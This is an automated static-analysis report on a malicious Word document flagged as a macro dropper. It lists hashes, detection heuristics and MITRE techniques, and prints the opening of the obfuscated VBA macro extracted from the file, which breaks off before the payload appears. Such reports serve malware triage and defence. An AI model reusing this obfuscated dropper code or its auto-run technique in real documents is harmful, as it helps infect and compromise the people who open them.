Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 830feb9ab096125b…

MALICIOUS

Office (OLE)

329.5 KB Created: 2018-02-26 06:15:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: c383481a696bba2ac64ab291848a7e25 SHA-1: 39d538199dca5d01a90157a11e9766d1bce0549a SHA-256: 830feb9ab096125bf572cb474457a5bac4875de20c266308e0c79d4913df261e
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing a VBA macro. The macro includes a call to the Shell() function, which is a critical indicator of malicious activity, suggesting it's designed to execute arbitrary commands. The presence of the AutoOpen macro further supports the likelihood of automatic execution upon opening. The macro's obfuscated nature and truncated content prevent a full analysis of its payload, but its intent is clearly to download and execute a secondary stage.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6495243-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6495243-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 52219 bytes
SHA-256: a77a6ca7f8b136749cc5ee0eb7d48ba77bbbb686a9f7ac20d8ccaa5e1308757d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 23 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "dBjnnvn"
Sub fplzljki(nYNhFANKq)
   On Error Resume Next
   Dim XjSpbDGGlNzqb()
   ReDim iHHjOHW(2)
   SBOvjWYBS(0) = 5534116
   BPjNzKufdzVbww(1) = 9809108
   ztiviYzNRbfUki = Loo - 6923227
   UtawwuHYUcsYzZ = 3381602 * 9822339
End Sub
Function mGkKZKXn()
On Error Resume Next
iMRdwV = "uMYslwdoaZYJiMTrCPRFPGGILWhBOzcWs=%4rav% fUjRdLV"
zQmkuBYLq = FJQpXUpES = qBADWqXjHnWMh = (2116333 / EoXsfAwMRDnIqa + 974460 * nQjzTDGBSMm * (6719925 / HscFsT / 6254503 - Tan(LmsrpiAj / CBool(jGBHjwALiAh / 4103718 / TNPGKKKDzG))))
jbbmKX = YMbioHiVG = kfjjwYvc = (8792081 / SzzlTfc + 6658157 * pZfizduHS * (2334727 / AfaDq / 7621153 - Tan(iImOiJjoZPq / CBool(IfvzQsF / 9335406 / DDQdQqOnYuu))))
jiwLprjVq = gjHBjhbyuf(iMRdwV, 8, 9)
GUDEZYZWqOL = "wqkBiumIv%!!%7rav%!&&bAMPLqiITpdZUs"
TZziiFGF = TICtifjWP = BMvml = (7355436 / MVzvBcjTLwNdt + 3907780 * ZiuaHuTjot * (5043837 / BROQYjnf / 3306982 - Tan(bSjVaSiStWkW / CBool(NsKfutmKBaHf / 442076 / jptFoNoHculUBA))))
GKslbi = WAEkiiBXN = smfaZ = (8398566 / pXUCdzQvI + 9608458 * QQtarl * (7759415 / WXAXw / 1608121 - Tan(oNBiOikVvw / CBool(wsAnoVjvHzL / 3472010 / tlYUBpAYuAKCua))))
hWnAVwoGdoP = gjHBjhbyuf(GUDEZYZWqOL, 15, 13)
uFAtzjG = "JcSzwpwsAzYLDXjCYsjJUFBpOrav% tejFjqZvpQR"
tqmin = kKVIiFJrK = bWHhYmO = (7878807 / bOuVtRASET + 5516987 * ZvsRYhBTjZDS * (2427639 / tzoJz / 4400790 - Tan(YUZqpcrinFXh / CBool(CbOQzFMVt / 474070 / cIsXAiu))))
wVDWb = TFzAbTbjE = pwTfkn = (9643992 / kYJuKSiR + 2789569 * jkTdJLD * (5389398 / CAvoPACjz / 6737264 - Tan(sUuFQFkZvjW / CBool(EODUqM / 7462094 / cIOwSo))))
pFlTF = gjHBjhbyuf(uFAtzjG, 10, 7)
lwfFoTYZ = "OZucBmYhGzOLrkjKjNiWiWrOMNZdDhFQwssbTM"
DFjEKvTA = mmBOBwwiX = KbdMMNvuP = (5110734 / UJOGVahCTX + 9619441 * XjOhGauGaMI * (233107 / jwEdi / 4656490 - Tan(PhRcm / CBool(jXQjEB / 2456692 / FdwfoUVUBIBNDm))))
kIOfwhuEkT = ddYkzvRpR = vwuWptIGoGdT = (1167956 / tDhujJbYEtunHT + 368161 * iQLMkqaw * (5902913 / zuZwJJ / 4525406 - Tan(rwNWIIKWtA / CBool(CloEWcMItN / 571895 / iQYJjzIkkP))))
dCbazzj = gjHBjhbyuf(lwfFoTYZ, 26, 4)
EQrnFdw = "JR%5rav%!rdUiSDHtUTQstqiGbWJTqAZNRpwA"
XsdTBj = AlXLtRhCU = ttizmz = (9970063 / nwmAEGX + 1468256 * qCjQOiUqfbi * (8218480 / JtRHoWjVuBn / 2563001 - Tan(iWzhRo / CBool(hqzkqiKOGHXU / 4271548 / nsjzR))))
iiiOfKsYjs = BYOwAwDED = qzKqFBTujQJLUO = (7400638 / SrFrdQkAnN + 3542236 * wonaHQQJNiQCU * (9752990 / jHpDA / 2001626 - Tan(dMwLTZNJD / CBool(jZvscjEEzcQoa / 675167 / fODszJSjb))))
TBiZlu = gjHBjhbyuf(EQrnFdw, 29, 7)
mvfAz = "SidIHTASiGZBNFmzfbYzmRwHkccplmq"
WohmMJcs = LMHLwsXBo = LNbCwbuZsKjYsa = (9446125 / mSUAc + 9004306 * VvwXa * (8242227 / SzPlRooYtT / 1318575 - Tan(iabmThOr / CBool(FhoVQJ / 1166209 / BEUiPs))))
YqXfEBSm = jIGIIQOYA = IMduJcqMzXNRb = (3089550 / fiRsP + 7460246 * ThrdMYFarjjv * (2477451 / jLzYN / 1490095 - Tan(rfShqHdizjl / CBool(YsvDfP / 3547056 / ZjjlfD))))
DYdHjrjIA = gjHBjhbyuf(mvfAz, 29, 1)
lNWrPvUX = "NhYABRCXNvtj%5rafVhPSKpuFcSswJfMJJaKE"
MwumpHz = PtXdZTqLZ = PzcCczfAp = (7292800 / LujzVridwqXkS + 9005899 * GNrkBiJ * (6473911 / jnkiQmuBrrD / 9713440 - Tan(dDbLicirMKIPq / CBool(JEkICNzQ / 6543911 / wNJvVs))))
UDCXh = brOPjnIqz = wqXdcTZUlwH = (6761054 / ltNVU + 2921810 * TnVTiRAai * (4245460 / tIWOGsEidnpJYk / 8458501 - Tan(dWWRobiNLUDuL / CBool(wlPAOafW / 7490789 / Rplhddwjq))))
WQshCwL = gjHBjhbyuf(lNWrPvUX, 22, 4)
lziTT = "jCEGniprozGZffJqZrqYrCDNEIRlNIDvihH"
fVROj = wwHiTfYPG = SPwznKBnLwvz = (8954714 / EcdnoMfPbPWO + 2655351 * PjWPdtIFsn * (8948527 / qpCIOzE / 4058382 - Tan(rClatFDnhd / CBool(waXcZjWBd / 9694187 / psdVpMSAWKs))))
IuIzwp = BYhlojnFR = KVPQSaj = (6661920 / CrbHMszYQq + 4032225 * GODZwunrmOY * (6272378 / fWNEXmjRu / 1445468 - Tan(ZQVtr / CBool(XOwiEHL / 8308089 / fvrpoSvj))))
VnLSjk = gjHBjhbyuf(lziTT, 19, 9)
RJimmRiwq = "ZEPzaPTlZjYnSpiiiZooCmMM
... (truncated)

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